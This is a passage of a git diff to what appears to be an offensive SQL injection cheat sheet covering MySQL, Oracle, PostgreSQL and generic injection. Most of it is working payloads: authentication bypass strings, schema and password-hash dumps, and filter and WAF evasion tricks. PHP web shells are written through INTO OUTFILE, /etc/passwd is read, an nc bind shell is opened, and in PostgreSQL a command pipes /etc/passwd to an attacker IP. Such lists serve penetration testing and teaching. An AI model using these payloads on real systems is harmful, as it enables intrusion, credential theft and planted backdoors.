6d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e203c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d2223396630613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.have_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e42617365204469726563746f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,table_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))))a))+
|
||||
|
||||
-- sharik
|
||||
(select(@a)from(select(@a:=0x00),(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e))))a)
|
||||
```
|
||||
|
||||
## MYSQL Current queries
|
||||
@@ -243,6 +399,10 @@ Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The
|
||||
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
|
||||
```
|
||||
|
||||
```sql
|
||||
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));
|
||||
```
|
||||
|
||||
If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query
|
||||
|
||||
```sql
|
||||
@@ -251,14 +411,22 @@ GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
|
||||
|
||||
## MYSQL Write a shell
|
||||
|
||||
### Into outfile method
|
||||
|
||||
```sql
|
||||
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
|
||||
SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>
|
||||
-1 UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
|
||||
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
|
||||
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
|
||||
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
|
||||
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
|
||||
```
|
||||
|
||||
### Into dumpfile method
|
||||
|
||||
```sql
|
||||
[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
|
||||
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
|
||||
```
|
||||
|
||||
## MYSQL Truncation
|
||||
|
||||
In MYSQL "`admin `" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.
|
||||
@@ -269,6 +437,18 @@ In MYSQL "`admin `" and "`admin`" are the same. If the username column in the da
|
||||
|
||||
Payload: `username = "admin a"`
|
||||
|
||||
## MYSQL Fast Exploitation
|
||||
|
||||
Requirement: `MySQL >= 5.7.22`
|
||||
|
||||
Use `json_arrayagg()` instead of `group_concat()` which allows less symbols to be displayed
|
||||
* group_concat() = 1024 symbols
|
||||
* json_arrayagg() > 16,000,000 symbols
|
||||
|
||||
```sql
|
||||
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES;
|
||||
```
|
||||
|
||||
## MYSQL UDF command execution
|
||||
|
||||
First you need to check if the UDF are installed on the server.
|
||||
@@ -325,3 +505,4 @@ load data infile '\\\\error\\abc' into table database.table_name;
|
||||
- [HackerOne @ajxchapman 50m-ctf writeup - Alex Chapman @ajxchapman](https://hackerone.com/reports/508123)
|
||||
- [SQL Wiki - netspi](https://sqlwiki.netspi.com/injectionTypes/errorBased)
|
||||
- [ekoparty web_100 - 2016/10/26 - p4-team](https://github.com/p4-team/ctf/tree/master/2016-10-26-ekoparty/web_100)
|
||||
- [Websec - MySQL - Roberto Salgado - May 29, 2013.](https://websec.ca/kb/sql_injection#MySQL_Default_Databases)
|
||||
|
||||
@@ -1,5 +1,18 @@
|
||||
# Oracle SQL Injection
|
||||
|
||||
## Summary
|
||||
|
||||
* [Oracle SQL version](#oracle-sql-version)
|
||||
* [Oracle SQL database name](#oracle-sql-database-name)
|
||||
* [Oracle SQL List databases](#oracle-sql-list-databases)
|
||||
* [Oracle SQL List columns](#oracle-sql-list-columns)
|
||||
* [Oracle SQL List tables](#oracle-sql-list-tables)
|
||||
* [Oracle SQL Error Based](#oracle-sql-error-based)
|
||||
* [Oracle SQL Blind](#oracle-sql-blind)
|
||||
* [Oracle SQL Time Based](#oracle-sql-time-based)
|
||||
* [Oracle SQL Command execution](#oracle-sql-command-execution)
|
||||
* [References](#references)
|
||||
|
||||
## Oracle SQL version
|
||||
|
||||
```sql
|
||||
@@ -21,7 +34,7 @@ SELECT SYS.DATABASE_NAME FROM DUAL;
|
||||
SELECT DISTINCT owner FROM all_tables;
|
||||
```
|
||||
|
||||
## Oracle SQL List Column
|
||||
## Oracle SQL List Columns
|
||||
|
||||
```sql
|
||||
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
|
||||
@@ -45,6 +58,8 @@ SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
|
||||
| Invalid XPath | SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual |
|
||||
| Invalid XML | SELECT to_char(dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual')) FROM dual |
|
||||
| Invalid XML | SELECT rtrim(extract(xmlagg(xmlelement("s", username || ',')),'/s').getstringval(),',') FROM all_users |
|
||||
| SQL Error | SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1)) |
|
||||
|
||||
|
||||
## Oracle SQL Blind
|
||||
|
||||
@@ -64,6 +79,8 @@ AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
|
||||
|
||||
## Oracle SQL Command execution
|
||||
|
||||
* [ODAT (Oracle Database Attacking Tool)](https://github.com/quentinhardy/odat)
|
||||
|
||||
```sql
|
||||
/* create Java class */
|
||||
BEGIN
|
||||
@@ -93,4 +110,5 @@ SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
|
||||
|
||||
## References
|
||||
|
||||
* [Heavily taken inspired by - NetSpi SQL Wiki](https://sqlwiki.netspi.com/injectionTypes/errorBased/#oracle)
|
||||
* [NetSpi - SQL Wiki](https://sqlwiki.netspi.com/injectionTypes/errorBased/#oracle)
|
||||
* [ASDC12 - New and Improved Hacking Oracle From Web](https://owasp.org/www-pdf-archive/ASDC12-New_and_Improved_Hacking_Oracle_From_Web.pdf)
|
||||
@@ -3,14 +3,28 @@
|
||||
## Summary
|
||||
|
||||
* [PostgreSQL Comments](#postgresql-comments)
|
||||
* [PostgreSQL version](#postgresql-version)
|
||||
* [PostgreSQL Current User](#postgresql-current-user)
|
||||
* [PostgreSQL List Users](#postgresql-list-users)
|
||||
* [PostgreSQL List Password Hashes](#postgresql-list-password-hashes)
|
||||
* [PostgreSQL List Database Administrator Accounts](#postgresql-list-database-administrator-accounts)
|
||||
* [PostgreSQL List Privileges](#postgresql-list-privileges)
|
||||
* [PostgreSQL Check if Current User is Superuser](#postgresql-check-if-current-user-is-superuser)
|
||||
* [PostgreSQL database name](#postgresql-database-name)
|
||||
* [PostgreSQL List databases](#postgresql-list-database)
|
||||
* [PostgreSQL List tables](#postgresql-list-tables)
|
||||
* [PostgreSQL List columns](#postgresql-list-columns)
|
||||
* [PostgreSQL Error Based](#postgresql-error-based)
|
||||
* [PostgreSQL XML Helpers](#postgresql-xml-helpers)
|
||||
* [PostgreSQL Blind](#postgresql-blind)
|
||||
* [PostgreSQL Time Based](#postgresql-time-based)
|
||||
* [PostgreSQL Stacked query](#postgresql-stacked-query)
|
||||
* [PostgreSQL File Read](#postgresql-file-read)
|
||||
* [PostgreSQL File Write](#postgresql-file-write)
|
||||
* [PostgreSQL Command execution](#postgresql-command-execution)
|
||||
* [CVE-2019–9193](#cve-2019–9193)
|
||||
* [Using libc.so.6](#using-libc-so-6)
|
||||
* [CVE-2019–9193](#cve-20199193)
|
||||
* [Using libc.so.6](#using-libcso6)
|
||||
* [Bypass Filter](#bypass-filter)
|
||||
* [References](#references)
|
||||
|
||||
## PostgreSQL Comments
|
||||
@@ -20,15 +34,104 @@
|
||||
/**/
|
||||
```
|
||||
|
||||
## PostgreSQL Version
|
||||
|
||||
```sql
|
||||
SELECT version()
|
||||
```
|
||||
|
||||
## PostgreSQL Current User
|
||||
|
||||
```sql
|
||||
SELECT user;
|
||||
SELECT current_user;
|
||||
SELECT session_user;
|
||||
SELECT usename FROM pg_user;
|
||||
SELECT getpgusername();
|
||||
```
|
||||
|
||||
## PostgreSQL List Users
|
||||
|
||||
```sql
|
||||
SELECT usename FROM pg_user
|
||||
```
|
||||
|
||||
## PostgreSQL List Password Hashes
|
||||
|
||||
```sql
|
||||
SELECT usename, passwd FROM pg_shadow
|
||||
```
|
||||
## PostgreSQL List Database Administrator Accounts
|
||||
```sql
|
||||
SELECT usename FROM pg_user WHERE usesuper IS TRUE
|
||||
```
|
||||
## PostgreSQL List Privileges
|
||||
|
||||
```sql
|
||||
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
|
||||
```
|
||||
|
||||
## PostgreSQL Check if Current User is Superuser
|
||||
|
||||
```sql
|
||||
SHOW is_superuser;
|
||||
SELECT current_setting('is_superuser');
|
||||
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
|
||||
```
|
||||
|
||||
## PostgreSQL Database Name
|
||||
|
||||
```sql
|
||||
SELECT current_database()
|
||||
```
|
||||
|
||||
## PostgreSQL List Database
|
||||
|
||||
```sql
|
||||
SELECT datname FROM pg_database
|
||||
```
|
||||
|
||||
## PostgreSQL List Tables
|
||||
|
||||
```sql
|
||||
SELECT table_name FROM information_schema.tables
|
||||
```
|
||||
|
||||
## PostgreSQL List Columns
|
||||
|
||||
```sql
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
|
||||
```
|
||||
|
||||
## PostgreSQL Error Based
|
||||
|
||||
```sql
|
||||
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
|
||||
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
|
||||
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
|
||||
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
|
||||
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
|
||||
|
||||
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
|
||||
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
|
||||
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
|
||||
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
|
||||
```
|
||||
|
||||
## PostgreSQL XML helpers
|
||||
|
||||
```sql
|
||||
select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row
|
||||
```
|
||||
|
||||
The `query_to_xml` above returns all the results of the specified query as a single result. Chain this with the [PostgreSQL Error Based](#postgresql-error-based) technique to exfiltrate data without having to worry about `LIMIT`ing your query to one result.
|
||||
|
||||
```sql
|
||||
select database_to_xml(true,true,''); -- dump the current database to XML
|
||||
select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema
|
||||
```
|
||||
|
||||
Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.
|
||||
|
||||
## PostgreSQL Blind
|
||||
|
||||
```sql
|
||||
@@ -43,6 +146,14 @@ AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
|
||||
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
|
||||
```
|
||||
|
||||
## PostgreSQL Stacked Query
|
||||
|
||||
Use a semi-colon ";" to add another query
|
||||
|
||||
```sql
|
||||
http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
|
||||
```
|
||||
|
||||
## PostgreSQL File Read
|
||||
|
||||
```sql
|
||||
@@ -50,7 +161,7 @@ select pg_ls_dir('./');
|
||||
select pg_read_file('PG_VERSION', 0, 200);
|
||||
```
|
||||
|
||||
NOTE: ``pg_read_file` doesn't accept the `/` character.
|
||||
NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [this](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group.
|
||||
|
||||
```sql
|
||||
CREATE TABLE temp(t TEXT);
|
||||
@@ -58,6 +169,12 @@ COPY temp FROM '/etc/passwd';
|
||||
SELECT * FROM temp limit 1 offset 0;
|
||||
```
|
||||
|
||||
```sql
|
||||
SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
|
||||
SELECT lo_get(16420); -- use the OID returned from the above
|
||||
SELECT * from pg_largeobject; -- or just get all the large objects and their data
|
||||
```
|
||||
|
||||
## PostgreSQL File Write
|
||||
|
||||
```sql
|
||||
@@ -67,6 +184,17 @@ SELECT * FROM pentestlab;
|
||||
COPY pentestlab(t) TO '/tmp/pentestlab';
|
||||
```
|
||||
|
||||
Or as one line:
|
||||
```sql
|
||||
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
|
||||
```
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
|
||||
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
|
||||
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
|
||||
```
|
||||
|
||||
## PostgreSQL Command execution
|
||||
|
||||
### CVE-2019–9193
|
||||
@@ -90,9 +218,30 @@ CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
```
|
||||
|
||||
### Bypass Filter
|
||||
|
||||
#### Quotes
|
||||
|
||||
Using CHR
|
||||
|
||||
```sql
|
||||
SELECT CHR(65)||CHR(66)||CHR(67);
|
||||
```
|
||||
|
||||
Using Dollar-signs ( >= version 8 PostgreSQL)
|
||||
|
||||
```sql
|
||||
SELECT $$This is a string$$
|
||||
SELECT $TAG$This is another string$TAG$
|
||||
```
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [A Penetration Tester’s Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
|
||||
* [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
|
||||
* [SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov)](https://hackerone.com/reports/181803)
|
||||
* [POSTGRESQL 9.X REMOTE COMMAND EXECUTION - 26 Oct 17 - Daniel](https://www.dionach.com/blog/postgresql-9x-remote-command-execution)
|
||||
* [POSTGRESQL 9.X REMOTE COMMAND EXECUTION - 26 Oct 17 - Daniel](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
||||
* [SQL Injection and Postgres - An Adventure to Eventual RCE - May 05, 2020 - Denis Andzakovic](https://pulsesecurity.co.nz/articles/postgres-sqli)
|
||||
* [Advanced PostgreSQL SQL Injection and Filter Bypass Techniques - 2009 - INFIGO](https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf)
|
||||
|
||||
@@ -21,7 +21,7 @@ Attempting to manipulate SQL queries may have goals including:
|
||||
* [SQL injection using SQLmap](#sql-injection-using-sqlmap)
|
||||
* [Basic arguments for SQLmap](#basic-arguments-for-sqlmap)
|
||||
* [Load a request file and use mobile user-agent](#load-a-request-file-and-use-mobile-user-agent)
|
||||
* [Custom injection in UserAgent/Header/Referer/Cookie](#custom-injection-in-useragent-header-referer-cookie)
|
||||
* [Custom injection in UserAgent/Header/Referer/Cookie](#custom-injection-in-useragentheaderreferercookie)
|
||||
* [Second order injection](#second-order-injection)
|
||||
* [Shell](#shell)
|
||||
* [Crawl a website with SQLmap and auto-exploit](#crawl-a-website-with-sqlmap-and-auto-exploit)
|
||||
@@ -29,8 +29,10 @@ Attempting to manipulate SQL queries may have goals including:
|
||||
* [Using a proxy with SQLmap](#using-a-proxy-with-sqlmap)
|
||||
* [Using Chrome cookie and a Proxy](#using-chrome-cookie-and-a-proxy)
|
||||
* [Using suffix to tamper the injection](#using-suffix-to-tamper-the-injection)
|
||||
* [General tamper option and tamper's list](#general-tamper-option-and-tamper-s-list)
|
||||
* [General tamper option and tamper's list](#general-tamper-option-and-tampers-list)
|
||||
* [SQLmap without SQL injection](#sqlmap-without-sql-injection)
|
||||
* [Authentication bypass](#authentication-bypass)
|
||||
* [Authentication Bypass (Raw MD5 SHA1)](#authentication-bypass-raw-md5-sha1)
|
||||
* [Polyglot injection](#polyglot-injection-multicontext)
|
||||
* [Routed injection](#routed-injection)
|
||||
* [Insert Statement - ON DUPLICATE KEY UPDATE](#insert-statement---on-duplicate-key-update)
|
||||
@@ -52,6 +54,7 @@ Simple characters
|
||||
%3B
|
||||
)
|
||||
Wildcard (*)
|
||||
' # required for XML content
|
||||
```
|
||||
|
||||
Multiple encoding
|
||||
@@ -198,6 +201,7 @@ sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/
|
||||
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
|
||||
```
|
||||
|
||||
|
||||
### General tamper option and tamper's list
|
||||
|
||||
```powershell
|
||||
@@ -223,7 +227,7 @@ tamper=name_of_the_tamper
|
||||
|concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'|
|
||||
|charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
|
||||
|charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) |
|
||||
|equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' |
|
||||
|equaltolike.py | Replaces all occurrences of operator equal ('=') with operator 'LIKE' |
|
||||
|escapequotes.py | Slash escape quotes (' and ") |
|
||||
|greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
|
||||
|halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
|
||||
@@ -265,6 +269,14 @@ tamper=name_of_the_tamper
|
||||
|versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
|
||||
|xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For'|
|
||||
|
||||
### SQLmap without SQL injection
|
||||
|
||||
You can use SQLmap to access a database via its port instead of a URL.
|
||||
|
||||
```ps1
|
||||
sqlmap.py -d "mysql://user:pass@ip/database" --dump-all
|
||||
```
|
||||
|
||||
## Authentication bypass
|
||||
|
||||
```sql
|
||||
@@ -287,6 +299,9 @@ tamper=name_of_the_tamper
|
||||
"&"
|
||||
"^"
|
||||
"*"
|
||||
'--'
|
||||
"--"
|
||||
'--' / "--"
|
||||
" or ""-"
|
||||
" or "" "
|
||||
" or ""&"
|
||||
@@ -339,6 +354,7 @@ admin') or '1'='1'#
|
||||
admin') or '1'='1'/*
|
||||
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
|
||||
admin" --
|
||||
admin';-- azer
|
||||
admin" #
|
||||
admin"/*
|
||||
admin" or "1"="1
|
||||
@@ -361,7 +377,7 @@ admin") or "1"="1"/*
|
||||
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
|
||||
```
|
||||
|
||||
## Authentication Bypass (Raw MD5)
|
||||
## Authentication Bypass (Raw MD5 SHA1)
|
||||
|
||||
When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.
|
||||
|
||||
@@ -373,6 +389,7 @@ Allowing an attacker to craft a string with a `true` statement such as `' or 'SO
|
||||
|
||||
```php
|
||||
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b
|
||||
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
|
||||
```
|
||||
|
||||
Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772)
|
||||
@@ -381,6 +398,9 @@ Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.
|
||||
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
/* MySQL only */
|
||||
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
|
||||
```
|
||||
|
||||
## Routed injection
|
||||
@@ -408,6 +428,8 @@ After this, we can simply authenticate with “admin@example.com” and the pass
|
||||
|
||||
## WAF Bypass
|
||||
|
||||
### White spaces alternatives
|
||||
|
||||
No Space (%20) - bypass using whitespace alternatives
|
||||
|
||||
```sql
|
||||
@@ -431,7 +453,24 @@ No Whitespace - bypass using parenthesis
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
|
||||
No Comma - bypass using OFFSET, FROM and JOIN
|
||||
Whitespace alternatives by DBMS
|
||||
| DBMS | ASCII characters in hexadicimal |
|
||||
| ---- | ------------------------------- |
|
||||
| SQLite3 | 0A, 0D, 0C, 09, 20 |
|
||||
| MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 |
|
||||
| MySQL 3 | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 |
|
||||
| PostgreSQL | 0A, 0D, 0C, 09, 20 |
|
||||
| Oracle 11g | 00, 0A, 0D, 0C, 09, 20 |
|
||||
| MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 |
|
||||
|
||||
Example of query where spaces were replaced by ascii characters above 0x80
|
||||
```
|
||||
♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼
|
||||
```
|
||||
|
||||
### No Comma
|
||||
|
||||
Bypass using OFFSET, FROM and JOIN
|
||||
|
||||
```sql
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
@@ -439,15 +478,20 @@ SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
|
||||
No Equal - bypass using LIKE/NOT IN/IN
|
||||
### No Equal
|
||||
|
||||
Bypass using LIKE/NOT IN/IN/BETWEEN
|
||||
|
||||
```sql
|
||||
?id=1 and substring(version(),1,1)like(5)
|
||||
?id=1 and substring(version(),1,1)not in(4,3)
|
||||
?id=1 and substring(version(),1,1)in(4,3)
|
||||
?id=1 and substring(version(),1,1) between 3 and 4
|
||||
```
|
||||
|
||||
Blacklist using keywords - bypass using uppercase/lowercase
|
||||
### Case modification
|
||||
|
||||
Bypass using uppercase/lowercase (see keyword AND)
|
||||
|
||||
```sql
|
||||
?id=1 AND 1=1#
|
||||
@@ -455,17 +499,59 @@ Blacklist using keywords - bypass using uppercase/lowercase
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
|
||||
Blacklist using keywords case insensitive - bypass using an equivalent operator
|
||||
Bypass using keywords case insensitive / Bypass using an equivalent operator
|
||||
|
||||
```sql
|
||||
AND -> &&
|
||||
OR -> ||
|
||||
= -> LIKE,REGEXP, not < and not >
|
||||
= -> LIKE,REGEXP, BETWEEN, not < and not >
|
||||
> X -> not between 0 and X
|
||||
WHERE -> HAVING
|
||||
```
|
||||
|
||||
Information_schema.tables Alternative
|
||||
### Obfuscation by DBMS
|
||||
|
||||
MySQL
|
||||
```
|
||||
1.UNION SELECT 2
|
||||
3.2UNION SELECT 2
|
||||
1e0UNION SELECT 2
|
||||
SELECT\N/0.e3UNION SELECT 2
|
||||
1e1AND-0.0UNION SELECT 2
|
||||
1/*!12345UNION/*!31337SELECT/*!table_name*/
|
||||
{ts 1}UNION SELECT.`` 1.e.table_name
|
||||
SELECT $.`` 1.e.table_name
|
||||
SELECT{_ .``1.e.table_name}
|
||||
SELECT LightOS . ``1.e.table_name LightOS
|
||||
SELECT information_schema 1337.e.tables 13.37e.table_name
|
||||
SELECT 1 from information_schema 9.e.table_name
|
||||
```
|
||||
|
||||
MSSQL
|
||||
```
|
||||
.1UNION SELECT 2
|
||||
1.UNION SELECT.2alias
|
||||
1e0UNION SELECT 2
|
||||
1e1AND-1=0.0UNION SELECT 2
|
||||
SELECT 0xUNION SELECT 2
|
||||
SELECT\UNION SELECT 2
|
||||
\1UNION SELECT 2
|
||||
SELECT 1FROM[table]WHERE\1=\1AND\1=\1
|
||||
SELECT"table_name"FROM[information_schema].[tables]
|
||||
```
|
||||
|
||||
Oracle
|
||||
```
|
||||
1FUNION SELECT 2
|
||||
1DUNION SELECT 2
|
||||
SELECT 0x7461626c655f6e616d65 FROM all_tab_tables
|
||||
SELECT CHR(116) || CHR(97) || CHR(98) FROM all_tab_tables
|
||||
SELECT%00table_name%00FROM%00all_tab_tables
|
||||
```
|
||||
|
||||
### More MySQL specific
|
||||
|
||||
`information_schema.tables` alternative
|
||||
|
||||
```sql
|
||||
select * from mysql.innodb_table_stats;
|
||||
@@ -511,6 +597,21 @@ mysql> mysql> select version();
|
||||
+-------------------------+
|
||||
```
|
||||
|
||||
#### WAF bypass for MySQL using scientific notation
|
||||
|
||||
Blocked
|
||||
```sql
|
||||
' or ''='
|
||||
```
|
||||
Working
|
||||
```sql
|
||||
' or 1.e('')='
|
||||
```
|
||||
Obfuscated query
|
||||
```sql
|
||||
1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* Detect SQLi
|
||||
@@ -544,3 +645,7 @@ mysql> mysql> select version();
|
||||
* [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/)
|
||||
* Sqlmap:
|
||||
* [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560)
|
||||
* WAF:
|
||||
* [SQLi Optimization and Obfuscation Techniques](https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf) by Roberto Salgado
|
||||
